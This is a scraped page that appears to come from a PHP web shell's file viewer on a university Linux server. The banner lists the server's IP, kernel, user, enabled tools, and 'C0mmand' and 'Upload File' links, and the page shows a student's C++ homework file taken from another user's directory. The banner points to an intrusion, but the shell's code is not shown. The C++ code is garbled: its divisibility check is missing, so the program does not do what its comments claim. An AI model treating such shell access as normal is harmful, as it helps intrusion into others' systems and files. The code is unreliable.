Server IP : 172.16.15.8 / Your IP : 3.137.159.17 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/gmsnowman/../kmmowery/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//---------------------------------------------------- // Name: Kieara Mowery // Date: Thursday, November 20th // Due: Friday, November 21st // Purpose: To validate the number entered by the // user in the range 0 to 500, and to call the // function written in part a to display the // message "Divisible by 24" or the message "Not // Disivisible by 24." //----------------------------------------------------- #include <iostream> #include <iomanip> using namespace std; // -------- Main Function int main () { int number; // -------- Have user input a number cout << "Please enter a number (0 - 500 ) -> " ; cin >> number; // -------- Validate that number is in the correct range while ( number < 0 || number > 500 ) { cout << "Please enter a number ( 0 - 500 ) > " ; cin >> number; } // -------- Call function to check for divisibility by 24 and print appropriate messages if ( (number ) cout << "Divisible by 24"; else cout << "Not divisible by 24"; cout << endl; return 0; }